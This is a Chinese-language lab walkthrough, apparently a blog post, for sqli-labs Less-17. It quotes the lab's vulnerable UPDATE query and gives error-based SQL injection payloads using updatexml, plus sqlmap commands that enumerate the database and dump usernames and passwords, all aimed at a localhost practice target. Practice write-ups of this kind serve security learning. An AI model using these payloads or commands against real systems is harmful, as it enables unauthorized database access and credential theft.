1. 思路🚀
本關的SQL語句為:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
- 注入類型:字符串型(單引號包裹)、POST請求、UPDATE請求
- 提示:參數需以
'
閉合
php
輸出語句的部分代碼:
if (mysql_error())
{echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";
}
else
{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ; echo "<br>";echo "</font>";
}
值得注意的是,本關卡的落腳點是password
,而非username
,根據SQL語句可知,還必須知道其中一個用戶的賬號,不然update
語句就進行不下去。暫且利用其中一個用戶賬號名admin
,根據提示信息,使用報錯盲注。
2. 手工注入步驟🎯
我的地址欄是:http://localhost:8081/Less-17/
,只需要將下面的url
和post data
放入對應位置,粘貼即可。
2.1. 判斷能否注入?
uname=admin&passwd=1' order by 3 #
&submit=Submit
2.2. 獲取數據庫?
uname=admin&passwd=1' and updatexml(1,concat(1,(select database())),3) #
&submit=Submit
2.3. 獲取表名?
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&submit=Submit
2.4. 獲取字段?
uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&submit=Submit
2.5. 獲取數據?
tmp:將目標表包裝成子查詢結果(臨時表)
uname=admin&passwd=1' and updatexml(1,concat(1,(select concat(username,':',password) from (select * from users) as tmp where username='admin' limit 1)),3) #
&submit=Submit
假如你使用了類似下面的語句,報圖中錯誤:
uname=admin&passwd=1' and updatexml(1,concat(1,(select password from users limit 0,1)),3) #
&submit=Submit
這是因為在update
、delete
或insert
語句的子查詢中,不能直接引用正在被修改的表??。你的報錯注入使用了updatexml
,而 updatexml
本質上是一個?更新操作??(雖然目的是觸發錯誤),因此受此限制影響。
2.6. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
' | 閉合符號 | id=1' |
# | 注釋符 | # |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. SQLMap工具測試🎯
url
地址換成自己的,比如:http://localhost:8081/Less-17/
,由于本關卡為post
請求,需要加參數指明請求格式,
--data="uname=admin&passwd=123456"
,passwd
的值隨意,具體如下:?
# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-17/" --data="uname=admin&passwd=123456" --batch# 爆數據庫
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users -C id,username,password --dump --batch
命令1截圖:
命令5截圖:
奇怪的是賬號密碼全為NULL,這或許是源代碼的問題,不過之前的4條命令都可正常獲取基本信息。
SQLMap參數表?
參數 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚舉數據庫 |
-D | 指定數據庫 |
-T | 指定表 |
-C | 指定列 |
--dump | 導出數據 |
4. 總結🏁
有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
聲明:本文僅用于安全學習,嚴禁非法測試! ???